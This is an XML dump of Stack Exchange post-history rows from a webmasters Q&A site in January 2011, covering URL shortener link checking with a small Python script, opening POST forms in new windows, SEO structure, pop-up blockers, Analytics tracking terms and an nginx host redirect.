  <row Id="17014" PostHistoryTypeId="2" PostId="7962" RevisionGUID="28c384db-cd1a-46b0-834f-15a1d1be6ca0" CreationDate="2011-01-20T04:20:20.137" UserId="4729" Text="The list at http://hjacob.com/blog/2009/07/url-shortener-redirects/ looks pretty good.  There are still a lot of dead links.  Here are the listed URLs that responded `200 OK` (which doesn't necessarily mean it is still working as a url shortening service):&#xD;&#xA;&#xD;&#xA;* 03e.de - &lt;http://03e.de/&gt;&#xD;&#xA;* 6url - &lt;http://6url.com/&gt;&#xD;&#xA;* A.gd - &lt;http://a.gd/&gt;&#xD;&#xA;* Bit.ly - &lt;http://bit.ly/&gt;&#xD;&#xA;* Chilp.it - &lt;http://chilp.it/&gt;&#xD;&#xA;* Cli.gs - &lt;http://cli.gs/&gt;&#xD;&#xA;* Decent URL - &lt;http://decenturl.com/&gt;&#xD;&#xA;* Doiop - &lt;http://doiop.com/&gt;&#xD;&#xA;* Dot.TK - &lt;http://dot.tk/&gt;&#xD;&#xA;* DwarfURL - &lt;http://www.dwarfurl.com/&gt;&#xD;&#xA;* Fhurl - &lt;http://fhurl.com/&gt;&#xD;&#xA;* Good.ly - &lt;http://good.ly/&gt;&#xD;&#xA;* HotRedirect - &lt;http://www.hotredirect.com/&gt;&#xD;&#xA;* Idek.net - &lt;http://idek.net/&gt;&#xD;&#xA;* Jaze Redirect Services - &lt;http://iscool.net/&gt;&#xD;&#xA;* Kl.am - &lt;http://kl.am/&gt;&#xD;&#xA;* Korta ner din url - &lt;http://www.x.se/&gt;&#xD;&#xA;* Krz.ch - &lt;http://krz.ch/&gt;&#xD;&#xA;* Lil.io - &lt;http://lil.io/&gt;&#xD;&#xA;* Linkbun.ch - &lt;http://linkbun.ch/&gt;&#xD;&#xA;* LinksPreadeR (l.pr) - &lt;http://l.pr/&gt;&#xD;&#xA;* Metamark - &lt;http://metamark.net/&gt;&#xD;&#xA;* Migre - &lt;http://migre.me/&gt;&#xD;&#xA;* MooURL - &lt;http://moourl.com/&gt;&#xD;&#xA;* Nutshellurl - &lt;http://nutshellurl.com/&gt;&#xD;&#xA;* QR.cx - &lt;http://qr.cx/&gt;&#xD;&#xA;* Redirx - &lt;http://redirx.com/&gt;&#xD;&#xA;* SN.im / Snurl.com - &lt;http://sn.im/&gt;&#xD;&#xA;* Shorl - &lt;http://shorl.com/&gt;&#xD;&#xA;* Short URL - &lt;http://url.lotpatrol.com/&gt;&#xD;&#xA;* Short links - &lt;http://shortlinks.co.uk/&gt;&#xD;&#xA;* ShortURL - &lt;http://www.shorturl.com/&gt;&#xD;&#xA;* Shorty - &lt;http://get-shorty.com/&gt;&#xD;&#xA;* Shrinkurl - &lt;http://shrinkurl.us/&gt;&#xD;&#xA;* SimURL - &lt;http://simurl.com/&gt;&#xD;&#xA;* Starturl - &lt;http://www.starturl.com/&gt;&#xD;&#xA;* TightURL - &lt;http://tighturl.com/&gt;&#xD;&#xA;* TinyURL - &lt;http://tinyurl.com/&gt;&#xD;&#xA;* Tr.im - &lt;http://tr.im/&gt;&#xD;&#xA;* Trim.li - &lt;http://trim.li/&gt;&#xD;&#xA;* Tweetburner.com - &lt;http://twurl.nl/&gt;&#xD;&#xA;* Twi.bz - &lt;http://twi.bz/&gt;&#xD;&#xA;* U28.de - &lt;http://u28.de/&gt;&#xD;&#xA;* URL.co.uk - &lt;http://url.co.uk/&gt;&#xD;&#xA;* URL.ie - &lt;http://url.ie/&gt;&#xD;&#xA;* URLBee - &lt;http://urlbee.com/&gt;&#xD;&#xA;* URLBorg - &lt;http://urlborg.com/&gt;&#xD;&#xA;* URLShort - &lt;http://urlshort.com/&gt;&#xD;&#xA;* URLcut - &lt;http://urlcut.com/&gt;&#xD;&#xA;* UX.lv - &lt;http://ux.lv/&gt;&#xD;&#xA;* VDirect - &lt;http://www.vdirect.com/&gt;&#xD;&#xA;* Webalias - &lt;http://www.webalias.com/&gt;&#xD;&#xA;* Yep.it - &lt;http://yep.it/&gt;&#xD;&#xA;* Z.pe - &lt;http://z.pe/&gt;&#xD;&#xA;* aPu.sh - &lt;http://apu.sh/&gt;&#xD;&#xA;* adjix aka. ad.vu - &lt;http://www.adjix.com&gt;&#xD;&#xA;* arm.in - &lt;http://arm.in/&gt;&#xD;&#xA;* awe.sm - &lt;http://awe.sm&gt;&#xD;&#xA;* awe.sm - &lt;http://create.awe.sm/&gt;&#xD;&#xA;* binged.it - &lt;http://binged.it&gt;&#xD;&#xA;* budurl - &lt;http://budurl.com/&gt;&#xD;&#xA;* daa.li - &lt;http://daa.li/&gt;&#xD;&#xA;* dot.tk - &lt;http://dot.tk&gt;&#xD;&#xA;* easyURL - &lt;http://easyurl.net/&gt;&#xD;&#xA;* fb.me - &lt;http://fb.me&gt;&#xD;&#xA;* goo.gl - &lt;http://goo.gl/&gt;&#xD;&#xA;* goo.la - &lt;http://goo.la/&gt;&#xD;&#xA;* ho.io - &lt;http://ho.io/&gt;&#xD;&#xA;* i2h.de - &lt;http://i2h.de/&gt;&#xD;&#xA;* is.gd - &lt;http://is.gd/&gt;&#xD;&#xA;* j.mp - &lt;http://j.mp/&gt;&#xD;&#xA;* myurl - &lt;http://myurl.in/&gt;&#xD;&#xA;* ne1.net - &lt;http://ne1.net/&gt;&#xD;&#xA;* notlong - &lt;http://notlong.com/&gt;&#xD;&#xA;* su.pr - &lt;http://su.pr/&gt;&#xD;&#xA;* to.vg - &lt;http://to.vg/&gt;&#xD;&#xA;* turo.us - &lt;http://turo.us/&gt;&#xD;&#xA;* tweak.tk - &lt;http://tweak.tk&gt;&#xD;&#xA;* twt.tl - &lt;http://twt.tl/&gt;&#xD;&#xA;* u.nu - &lt;http://u.nu/&gt;&#xD;&#xA;* unfake.it - &lt;http://unfake.it/&gt;&#xD;&#xA;* wp.me - &lt;http://wp.me&gt;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;For some reason, [my favorite](http://www.urlshorteningservicefortwitter.com/) wasn't listed.&#xD;&#xA;&#xD;&#xA;Here's the code:&#xD;&#xA;    &#xD;&#xA;    #!/usr/bin/env python&#xD;&#xA;&#xD;&#xA;    import socket&#xD;&#xA;    import sys&#xD;&#xA;    import urlparse&#xD;&#xA;    import urllib&#xD;&#xA;&#xD;&#xA;    from BeautifulSoup import BeautifulSoup&#xD;&#xA;&#xD;&#xA;    filename = 'url_shortner_redirects.html'&#xD;&#xA;    source = 'http://hjacob.com/blog/2009/07/url-shortener-redirects/'&#xD;&#xA;    page = urllib.urlopen(source).read()&#xD;&#xA;    soup = BeautifulSoup(page)&#xD;&#xA;    links = soup.findAll('a')&#xD;&#xA;&#xD;&#xA;    good_links = []&#xD;&#xA;    # Some links hang forever - set a timeout of 5 seconds&#xD;&#xA;    socket.setdefaulttimeout(5)&#xD;&#xA;    for link in links:&#xD;&#xA;      # Look for the links with rel=external&#xD;&#xA;      if link.get('rel', '') == 'external' and link.get('title','') != '':&#xD;&#xA;        # Only the links with no path are url shortners - the rest are articles&#xD;&#xA;        url = urlparse.urlparse(link['href'])&#xD;&#xA;        if len(url.path) &lt; 2:&#xD;&#xA;          name = link.string.strip()&#xD;&#xA;          href = link['href']&#xD;&#xA;          try:&#xD;&#xA;            x = urllib.urlopen(href)&#xD;&#xA;            if x.code in [200]:&#xD;&#xA;              print &gt;&gt; sys.stderr, '%s is responding' % href&#xD;&#xA;              good_links.append((name, href))&#xD;&#xA;            elif x.code in [403, 404, 503]:&#xD;&#xA;              print &gt;&gt; sys.stderr, '%s is dead (%d)' % (href, x.code)&#xD;&#xA;            else:&#xD;&#xA;              print &gt;&gt; sys.stderr, &quot;Unknown code %d in %s&quot; % (x.code, href)&#xD;&#xA;              x.close()&#xD;&#xA;          except IOError:&#xD;&#xA;            print &gt;&gt; sys.stderr, &quot;Connection refused for %s&quot; % href&#xD;&#xA;&#xD;&#xA;    # Print in stack exchange markdown&#xD;&#xA;    unique_links = sorted(list(set(good_links)))&#xD;&#xA;    print '\n'.join(['* %s - &lt;%s&gt;' % (name, href) for name, href in unique_links])&#xD;&#xA;&#xD;&#xA;I hope that helps. " />
  <row Id="17015" PostHistoryTypeId="2" PostId="7963" RevisionGUID="805b57c2-00a4-4230-b128-85942ed7d245" CreationDate="2011-01-20T04:21:21.813" UserId="3108" Text="If you just want a link that opens a POST-requested page in a new window here are some ideas. However, be aware a POST request can't be bookmarked.&#xD;&#xA;&#xD;&#xA;* You can make a button that opens a POST-requested page in a new window.&#xD;&#xA;&#xD;&#xA;        &lt;form method=&quot;post&quot; action=&quot;http://example.com/example.php&quot;&#xD;&#xA;          target=&quot;_blank&quot;&gt;&#xD;&#xA;        &lt;input type=&quot;hidden&quot; name=&quot;name1&quot; value=&quot;value1&quot;&gt;&#xD;&#xA;        &lt;input type=&quot;hidden&quot; name=&quot;name2&quot; value=&quot;value2&quot;&gt;&#xD;&#xA;        &lt;input type=&quot;submit&quot; value=&quot;Open results in a new window&quot;&gt; &#xD;&#xA;        &lt;/form&gt;&#xD;&#xA;&#xD;&#xA;* If you want it to look like a link, you can make a link with an onClick attribute that submits the form.&#xD;&#xA;&#xD;&#xA;        &lt;form name=&quot;myform&quot; method=&quot;post&quot; action=&quot;http://example.com/example.php&quot;&#xD;&#xA;          target=&quot;_blank&quot;&gt;&#xD;&#xA;        &lt;input type=&quot;hidden&quot; name=&quot;name1&quot; value=&quot;value1&quot;&gt;&#xD;&#xA;        &lt;input type=&quot;hidden&quot; name=&quot;name2&quot; value=&quot;value2&quot;&gt;&#xD;&#xA;        &lt;/form&gt;&#xD;&#xA;        &#xD;&#xA;        &lt;a href=&quot;http://example.com/example.php&quot;&#xD;&#xA;          onClick=&quot;document.forms['myform'].submit(); return false;&quot;&gt;Open results&#xD;&#xA;          in a new window&lt;/a&gt;&#xD;&#xA;&#xD;&#xA;    The onClick part submits the form, which opens the POST-requested page in a new window. The `return false` prevents the browser from also going to the href address in the current window at the same time. If Javascript is disabled or the link is bookmarked, the href address is used as a fallback, but the resulting page won't receive any POST values. This might be confusing or unfriendly for your users if they bookmark the link.&#xD;&#xA;&#xD;&#xA;If you want the link to be bookmarkable, investigate if your page can accept GET parameters. If so, then you can make a bookmarkable link.&#xD;&#xA;&#xD;&#xA;     &lt;a href=&quot;http://example.com/example.php?name1=value1&amp;name2=value2&quot;&#xD;&#xA;       target=&quot;_blank&quot;&gt;Open results in a new window&lt;/a&gt;" />
  <row Id="17016" PostHistoryTypeId="2" PostId="7964" RevisionGUID="be9f96be-48c6-4b37-a72a-d058b6c1b29e" CreationDate="2011-01-20T04:22:26.443" UserId="4461" Text="Short answer: it depends&#xD;&#xA;&#xD;&#xA;Long answer: The information you've given indicates there's already a content rich site that covers those topics. Since these topics are relatively well related in terms of IT Training, it seems to make sense that these would aggregate search value better under one umbrella domain, with each topic forming it's own silo/channel/theme. Then all of the back-links and internal-linking is contained within that domain, allowing strong distribution and containment of ranking value. The single site becomes synonymous with being the authority in that vertical and collecting all of that authority which can then be passed down and optimized for those target phrases.&#xD;&#xA;&#xD;&#xA;Conversely, if the main site hasn't already performed well in search, or is in the early stages of development, then the hub/spoke approach could work well, were the main site is maintained, but each silo/channel/theme is broken out onto it's own domain, linking back to the hub and taking advantage of the current 'exact domain match' boost that some sites are seeing.&#xD;&#xA;&#xD;&#xA;There's no single right answer to this, and there's also a lot of other variables in play." />
  <row Id="17017" PostHistoryTypeId="5" PostId="7964" RevisionGUID="c01662f2-951d-4ef3-b4cd-91c906212527" CreationDate="2011-01-20T04:28:26.673" UserId="4461" Comment="added reference link" Text="Short answer: it depends&#xD;&#xA;&#xD;&#xA;Long answer: The information you've given indicates there's already a content rich site that covers those topics. Since these topics are relatively well related in terms of IT Training, it seems to make sense that these would aggregate search value better under one umbrella domain, with each topic forming it's own silo/channel/theme. Then all of the back-links and internal-linking is contained within that domain, allowing strong distribution and containment of ranking value. The single site becomes synonymous with being the authority in that vertical and collecting all of that authority which can then be passed down and optimized for those target phrases.&#xD;&#xA;&#xD;&#xA;Conversely, if the main site hasn't already performed well in search, or is in the early stages of development, then the hub/spoke approach could work well, were the main site is maintained, but each silo/channel/theme is broken out onto it's own domain, linking back to the hub and taking advantage of the current 'exact domain match' boost that some sites are seeing.&#xD;&#xA;&#xD;&#xA;There's no single right answer to this, and there's also a lot of other variables in play. Read more:&#xD;&#xA;http://econsultancy.com/us/forums/best-practice/seo-optimization-single-site-vs-multiple-feeder-micro-sites" />
  <row Id="17018" PostHistoryTypeId="25" PostId="7960" RevisionGUID="35185f45-50db-4a61-9c33-98fa34482460" CreationDate="2011-01-20T04:55:42.527" Comment="http://twitter.com/#!/StackWebmasters/status/27952384344858625" />
  <row Id="17019" PostHistoryTypeId="2" PostId="7965" RevisionGUID="a00a43ee-4897-4958-a120-d3489df9514f" CreationDate="2011-01-20T05:44:54.920" UserDisplayName="JP19" Text="I think this is the best place to ask about this question. I recently created this account: http://twitter.com/sarcasticquotes&#xD;&#xA;&#xD;&#xA;I have posted 3 tweets so far. (No 'private' tweets at all). It is showing 3 tweets but the Tweet count as 5. What can be the problem?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;rgds&#xD;&#xA;&#xD;&#xA;JP" />
  <row Id="17020" PostHistoryTypeId="1" PostId="7965" RevisionGUID="a00a43ee-4897-4958-a120-d3489df9514f" CreationDate="2011-01-20T05:44:54.920" UserDisplayName="JP19" Text="Twitter tweet count - bug?" />
  <row Id="17021" PostHistoryTypeId="3" PostId="7965" RevisionGUID="a00a43ee-4897-4958-a120-d3489df9514f" CreationDate="2011-01-20T05:44:54.920" UserDisplayName="JP19" Text="&lt;twitter&gt;&lt;bugs&gt;" />
  <row Id="17022" PostHistoryTypeId="2" PostId="7966" RevisionGUID="e6fe00aa-7921-4423-96c0-c05e689e966f" CreationDate="2011-01-20T05:49:36.160" UserId="3707" Text="you're right. i see 3 but it says 5.&#xD;&#xA;&#xD;&#xA;As you tweet more it will come back to normal this happened to me before.&#xD;&#xA;![alt text][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.stack.imgur.com/hP1W5.png" />
  <row Id="17023" PostHistoryTypeId="2" PostId="7967" RevisionGUID="0dab3a65-aaaa-4c5f-8506-29dfc1b9aa1d" CreationDate="2011-01-20T05:52:30.963" UserId="3707" Text="Put is all in one website. And get links from other (non his) related sites. If you break up your content you will break up your seo. I say this from experience. good luck" />
  <row Id="17025" PostHistoryTypeId="25" PostId="7965" RevisionGUID="6fbb1e94-d0de-46e1-8731-befc61fd1e0b" CreationDate="2011-01-20T07:55:42.590" Comment="http://twitter.com/#!/StackWebmasters/status/27997683058737152" />
  <row Id="17026" PostHistoryTypeId="25" PostId="7928" RevisionGUID="f792409b-a82c-4b13-aae5-9f8a35098fc2" CreationDate="2011-01-20T10:55:42.480" Comment="http://twitter.com/#!/StackWebmasters/status/28042981353201664" />
  <row Id="17027" PostHistoryTypeId="2" PostId="7968" RevisionGUID="ac80632d-966b-4118-b1e4-c3a122c63ea7" CreationDate="2011-01-20T11:18:05.680" UserId="3718" Text="Should a designer be in charge of mapping out the user experience of a website?&#xD;&#xA;&#xD;&#xA;In my opinion, a developer should draw out how the website would work, what pages link to what etc. Then the designer designs the website based on this.&#xD;&#xA;&#xD;&#xA;But I've heard some people say designers are the best people to work out the User Experience of a website.&#xD;&#xA;&#xD;&#xA;Very confused about this!" />
  <row Id="17028" PostHistoryTypeId="1" PostId="7968" RevisionGUID="ac80632d-966b-4118-b1e4-c3a122c63ea7" CreationDate="2011-01-20T11:18:05.680" UserId="3718" Text="Should Designers Be In Charge Of Developing User Experience?" />
  <row Id="17029" PostHistoryTypeId="3" PostId="7968" RevisionGUID="ac80632d-966b-4118-b1e4-c3a122c63ea7" CreationDate="2011-01-20T11:18:05.680" UserId="3718" Text="&lt;website-design&gt;&lt;users&gt;&lt;user-engagement&gt;" />
  <row Id="17030" PostHistoryTypeId="2" PostId="7969" RevisionGUID="d255f53e-a307-4736-abba-ab3cf664a786" CreationDate="2011-01-20T11:25:36.297" UserId="1955" Text="If I understand correctly the following (point &amp; from GA TOS):&#xD;&#xA;&#xD;&#xA;7. PRIVACY . You will not (and will not allow any third party to) use the Service to track or collect personally identifiable information of Internet users, nor will You (or will You allow any third party to) associate any data gathered from Your website(s) (or such third parties' website(s)) with any personally identifying information from any source as part of Your use (or such third parties' use) of the Service. You will have and abide by an appropriate privacy policy and will comply with all applicable laws relating to the collection of information from visitors to Your websites. You must post a privacy policy and that policy must provide notice of your use of a cookie that collects anonymous traffic data.&#xD;&#xA;&#xD;&#xA;You are not allowed to use custom variables that will identify the visitor(for example website username, e-mail, id etc.)&#xD;&#xA;So the question is how can I track a specific user behaviour(for example the actions that every single logged in user do)." />
  <row Id="17031" PostHistoryTypeId="1" PostId="7969" RevisionGUID="d255f53e-a307-4736-abba-ab3cf664a786" CreationDate="2011-01-20T11:25:36.297" UserId="1955" Text="Tracking users behaviour - with or without Google Analytics" />
  <row Id="17032" PostHistoryTypeId="3" PostId="7969" RevisionGUID="d255f53e-a307-4736-abba-ab3cf664a786" CreationDate="2011-01-20T11:25:36.297" UserId="1955" Text="&lt;google-analytics&gt;&lt;tracking&gt;&lt;visitors&gt;" />
  <row Id="17033" PostHistoryTypeId="2" PostId="7970" RevisionGUID="f6d4656d-456f-43be-b0fe-e6de927b8e84" CreationDate="2011-01-19T08:04:46.043" UserDisplayName="Zero" Text="I know that Google has a duplicate content penalty for text, such as articles, etc.&#xD;&#xA;&#xD;&#xA;However, does Google apply this penalty to two identical designs, such as templates?&#xD;&#xA;&#xD;&#xA;I'm guessing that Google only cares about the content and not the internal markup/structure that makes up a web page, right?&#xD;&#xA;&#xD;&#xA;Thanks!" />
  <row Id="17034" PostHistoryTypeId="1" PostId="7970" RevisionGUID="f6d4656d-456f-43be-b0fe-e6de927b8e84" CreationDate="2011-01-19T08:04:46.043" UserDisplayName="Zero" Text="Google duplicate content penalty for same design?" />
  <row Id="17035" PostHistoryTypeId="3" PostId="7970" RevisionGUID="f6d4656d-456f-43be-b0fe-e6de927b8e84" CreationDate="2011-01-19T08:04:46.043" UserDisplayName="Zero" Text="&lt;web-development&gt;&lt;web&gt;&lt;google&gt;&lt;seo&gt;&lt;search-engines&gt;" />
  <row Id="17036" PostHistoryTypeId="17" PostId="7970" RevisionGUID="28c8a8c3-7d51-4c0c-9feb-99e4d6432f6a" CreationDate="2011-01-20T11:44:56.920" UserId="-1" Comment="from http://stackoverflow.com/questions/4733008/google-duplicate-content-penalty-for-same-design" Text="" />
  <row Id="17037" PostHistoryTypeId="2" PostId="7971" RevisionGUID="f71056ec-8f72-4689-9004-8032e9fc2573" CreationDate="2011-01-20T11:56:05.963" UserId="233" Text="All major browsers (i.e. &gt;95% of users) have pop-up blockers, so uninitialised pop-ups - for example on window.load - will never work.&#xD;&#xA;&#xD;&#xA;Unfortunately, many sites get around that by opening pop-ups when the user clicks on the page. You click a link and said link opens the page fine, but some Javascript has just opened a pop-up window. It's very prevalent on those spammy image gallery sites like 2leep.&#xD;&#xA;&#xD;&#xA;So if it's a pop-up opening on page load, it will be blocked. But if it's a pop-up opened on click it should load fine." />
  <row Id="17038" PostHistoryTypeId="2" PostId="7972" RevisionGUID="818cbadb-1d32-4abc-9257-15d973c97b81" CreationDate="2011-01-20T12:22:12.657" UserId="3467" Text="As I mentioned before in my questions I'm doing an SEO analysis of a rather large adult site. I've so far analysed 20 of our competitors (often 2 or 3 at a time owned by the same company) and their outlinking policy is really strange... &#xD;&#xA;&#xD;&#xA;All of these websites work with thumbnail galleries that link out to other sites. I understand this is some kind of trade, where the owner of a gallery submits their thumbs to a bigger site and has them link to his site, in trade for a link back from him to the bigger site. All of these links go through an out.php (or similar) script, probably tracking the statistics and stuff. &#xD;&#xA;&#xD;&#xA;However, none of these have a nofollow, but instead do a 302 redirect. This surprised me, because it doesn't pass pagerank but it also doesn't tell google these are traded (affiliate-like) links. What's up with that?&#xD;&#xA;&#xD;&#xA;As expected most internal links are direct links (one or two exceptions, where the same 302 is used... they must not know about SEO), but also ALMOST ALL advertisers links are direct links?? Where a gallery is 'regular content', albeit traded, an advertisement is not at all worth spilling pagerank to and not setting a nofollow is severely frowned upon by google (if we must believe the SEO experts).&#xD;&#xA;&#xD;&#xA;Are these people unaware of common SEO practice? Do totally different rules count for adult sites? &#xD;&#xA;&#xD;&#xA;Is it advisable to follow their example, or should I stick to the rules I've always learned (some content-related outlinks are ok, ads &amp; affiliates should be nofollowed)? Any insight in this is welcome.&#xD;&#xA;&#xD;&#xA;(Obviously I don't really want to provide links here, but take your favorite gallery site and I can almost guarantee you they have the same strange outlinking strategy...)&#xD;&#xA;" />
  <row Id="17039" PostHistoryTypeId="1" PostId="7972" RevisionGUID="818cbadb-1d32-4abc-9257-15d973c97b81" CreationDate="2011-01-20T12:22:12.657" UserId="3467" Text="Why do many adult sites pass link juice to advertisers?" />
  <row Id="17040" PostHistoryTypeId="3" PostId="7972" RevisionGUID="818cbadb-1d32-4abc-9257-15d973c97b81" CreationDate="2011-01-20T12:22:12.657" UserId="3467" Text="&lt;seo&gt;&lt;redirects&gt;&lt;adult-content&gt;" />
  <row Id="17041" PostHistoryTypeId="2" PostId="7973" RevisionGUID="e4fbe06d-46f9-47c4-90aa-ed85bfbd0ab3" CreationDate="2011-01-20T12:42:14.980" UserId="3467" Text="No. Although Google does do some basic checks in the stylesheets (apparently, cloaking text by making it white on white will be detected) Google does not pay attention to the graphical aspects of a site.&#xD;&#xA;&#xD;&#xA;If they did, the entire market for free themes would collapse, just think about all those major vBulletin forums that use the default skin... And what about all those Wordpress blogs that come with the default theme. &#xD;&#xA;&#xD;&#xA;If a unique design would be a prerequisite for a good SEO score they would soon cost hundreds of dollars each. Google is about finding the most relevant content, not about finding the most unique designs." />
  <row Id="17042" PostHistoryTypeId="10" PostId="7965" RevisionGUID="4d27fed9-13ac-4408-9248-572dc758f404" CreationDate="2011-01-20T12:57:37.943" UserId="1253" CloseReasonId="2" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="17043" PostHistoryTypeId="2" PostId="7974" RevisionGUID="a796e7f5-1b97-4147-a589-37eaa1a443d9" CreationDate="2011-01-20T13:23:47.837" UserId="1089" Text="The way you have worded the question implies you don't have access to the clients traffic data (if they have an existing website at all) If you had access to this it would make the task a lot easier!&#xD;&#xA;&#xD;&#xA;To attempt to directly answer some of your questions:&#xD;&#xA;&#xD;&#xA;&quot;Can anybody provide a list of browser versions which have the pop-up blocker enabled in the standard installation?&quot;&#xD;&#xA;&#xD;&#xA;This was the best I could find:&#xD;&#xA;http://en.wikipedia.org/wiki/Comparison_of_web_browsers#Accessibility_features&#xD;&#xA;&#xD;&#xA;In terms of usage stats this was the best I could manage in a hurry.&#xD;&#xA;http://en.wikipedia.org/wiki/Usage_share_of_web_browsers&#xD;&#xA;&#xD;&#xA;Now my general advice. What information do they want the pop up window to contain? Special offers? Advice on navigating the site? A welcome message? &#xD;&#xA;&#xD;&#xA;All of these would be visible for longer in the main content of the main browser window - and with appropriate styling they can be made just as prominent as a pop up window, if not more so.&#xD;&#xA;&#xD;&#xA;What I also try is asking them to think about the big players online amazon, play, and any other reputable or popular shopping site they like using. You can almost guarantee they don't use pop up windows. If they don't, there is a pretty good reason for it." />
  <row Id="17045" PostHistoryTypeId="25" PostId="7972" RevisionGUID="49b57b55-b003-41b9-83fb-e6e335480633" CreationDate="2011-01-20T13:55:42.697" Comment="http://twitter.com/#!/StackWebmasters/status/28088280444575744" />
  <row Id="17049" PostHistoryTypeId="2" PostId="7977" RevisionGUID="81dd599d-4e69-4bb8-b480-0c58853cfc5a" CreationDate="2011-01-20T14:04:40.197" UserId="3653" Text="I run a motor sport news website and currently deciding if I should go down the route of paying someone to develop an app for a phone, in which case I would need something compatible for iPhone, BlackBerry and Android or if I should just spend time optimising my mobile website?&#xD;&#xA;&#xD;&#xA;Would love to hear some thoughts of others on this!" />
  <row Id="17050" PostHistoryTypeId="1" PostId="7977" RevisionGUID="81dd599d-4e69-4bb8-b480-0c58853cfc5a" CreationDate="2011-01-20T14:04:40.197" UserId="3653" Text="Mobile phone app or optimised mobile site?" />
  <row Id="17051" PostHistoryTypeId="3" PostId="7977" RevisionGUID="81dd599d-4e69-4bb8-b480-0c58853cfc5a" CreationDate="2011-01-20T14:04:40.197" UserId="3653" Text="&lt;mobile&gt;&lt;iphone&gt;" />
  <row Id="17052" PostHistoryTypeId="2" PostId="7978" RevisionGUID="ebfc7f00-e8e5-44c8-9f67-18d031ea3ef9" CreationDate="2011-01-20T14:35:18.463" UserId="2293" Text="I don't know any free services for that. What you want are called heatmaps.&#xD;&#xA;&#xD;&#xA;One paid is http://www.crazyegg.com/&#xD;&#xA;&#xD;&#xA;But as suggested by @Gattster you cans develop one on your own. Just send each 0.1 seconds the x,y coordinates." />
  <row Id="17053" PostHistoryTypeId="2" PostId="7979" RevisionGUID="48e4cf76-4b39-4073-8209-550504f0659a" CreationDate="2011-01-20T14:36:54.153" UserId="1253" Text="[This article][1] seems to break down the pros and cons of each quite nicely.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.entrepreneur.com/marketing/marketingideas/article205856.html" />
  <row Id="17057" PostHistoryTypeId="2" PostId="7980" RevisionGUID="c0dcf96a-f9fb-453f-94c7-5890e35474d3" CreationDate="2011-01-20T14:40:17.053" UserId="1253" Text="SEO isn't everything. The sites that are linking out almost certainly aren't concerned about their rankings. They want top dollar for those links and nofollow is how you do that. The revenue they make from those links is probably a better ROI then trying to rank well and derive revenue from ads or some other method. " />
  <row Id="17058" PostHistoryTypeId="2" PostId="7981" RevisionGUID="4825c0f8-c039-42ca-8aa9-bc22b63478c4" CreationDate="2011-01-19T20:23:48.003" UserId="2982" Text="I was reading https://cms.paypal.com/us/cgi-bin/?cmd=_render-content&amp;content_ID=developer/e_howto_api_WPWebsitePaymentsPro the [Website Payments Pro Regional Differences] part. I can't understand whether they are saying:&#xD;&#xA;&#xD;&#xA; - I can accept credit/debit card payments only from Canada, United Kingdom, United State or&#xD;&#xA; - that if I my business is in UK I can accept only payments from: Visa, including Visa Electron [..] doesn't matter where the client is from." />
  <row Id="17059" PostHistoryTypeId="1" PostId="7981" RevisionGUID="4825c0f8-c039-42ca-8aa9-bc22b63478c4" CreationDate="2011-01-19T20:23:48.003" UserId="2982" Text="PayPal Payments Pro [Website Payments Pro Regional Differences]" />
  <row Id="17060" PostHistoryTypeId="3" PostId="7981" RevisionGUID="4825c0f8-c039-42ca-8aa9-bc22b63478c4" CreationDate="2011-01-19T20:23:48.003" UserId="2982" Text="&lt;paypal&gt;" />
  <row Id="17061" PostHistoryTypeId="17" PostId="7981" RevisionGUID="0cef2414-b278-4a8c-8c32-c3dc9f4b982c" CreationDate="2011-01-20T15:37:16.230" UserId="-1" Comment="from http://stackoverflow.com/questions/4740291/paypal-payments-pro-website-payments-pro-regional-differences" Text="" />
  <row Id="17064" PostHistoryTypeId="2" PostId="7983" RevisionGUID="df70a2c4-2e86-4880-a233-c459a10b8cf4" CreationDate="2011-01-20T16:19:37.470" UserId="4737" Text="Is there anything like firefox input http://input.mozilla.com/en-US/ that is open sourced?  Thanks" />
  <row Id="17065" PostHistoryTypeId="1" PostId="7983" RevisionGUID="df70a2c4-2e86-4880-a233-c459a10b8cf4" CreationDate="2011-01-20T16:19:37.470" UserId="4737" Text="An open sourced copy of Firefox input?" />
  <row Id="17066" PostHistoryTypeId="3" PostId="7983" RevisionGUID="df70a2c4-2e86-4880-a233-c459a10b8cf4" CreationDate="2011-01-20T16:19:37.470" UserId="4737" Text="&lt;cms&gt;" />
  <row Id="17067" PostHistoryTypeId="25" PostId="7977" RevisionGUID="da2e3c82-ba0e-4346-a6b7-d76686ae7d2e" CreationDate="2011-01-20T16:55:42.700" Comment="http://twitter.com/#!/StackWebmasters/status/28133578982293504" />
  <row Id="17068" PostHistoryTypeId="2" PostId="7984" RevisionGUID="81ded69b-29bc-4c43-917d-7fc057a7f0bf" CreationDate="2011-01-20T17:00:57.043" UserId="55" Text="The adult industry does an incredible amount of research to associate average income with people who like (genre). I'm not going to go into specifics, but they know that someone who likes [stuff] and [otherstuff] from [country] probably makes approximately [income].&#xD;&#xA;&#xD;&#xA;This puts a premium on traffic trading. It isn't just the link, it's the expected _quality_ of traffic that any particular thumbnail will produce. SEO has very, very little to do with this.&#xD;&#xA;&#xD;&#xA;The end goal is to increase affiliate conversions. They want traffic that is likely to go to their partner's site and sign up, thus making money for everyone involved. Traffic that does little more than burn bandwidth is actually costly and undesirable." />
  <row Id="17069" PostHistoryTypeId="2" PostId="7985" RevisionGUID="915bec66-2362-4bee-9ed5-c78917b96e44" CreationDate="2011-01-20T17:16:41.043" UserId="4739" Text="How can I get visitors redirected to a specific html page if the name used to resolve the server address was a specific one? I tried&#xD;&#xA;&#xD;&#xA;    if ($http_host ~ /forbiddenname/)&#xD;&#xA;    {&#xD;&#xA;        rewrite ^(.*)$ /updateyourlinks.html break;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;inside the Server section, but doesn't work..." />
  <row Id="17070" PostHistoryTypeId="1" PostId="7985" RevisionGUID="915bec66-2362-4bee-9ed5-c78917b96e44" CreationDate="2011-01-20T17:16:41.043" UserId="4739" Text="Redirecting to a specific page if the visitor used a certain name to resolve the server address" />
  <row Id="17071" PostHistoryTypeId="3" PostId="7985" RevisionGUID="915bec66-2362-4bee-9ed5-c78917b96e44" CreationDate="2011-01-20T17:16:41.043" UserId="4739" Text="&lt;nginx&gt;" />
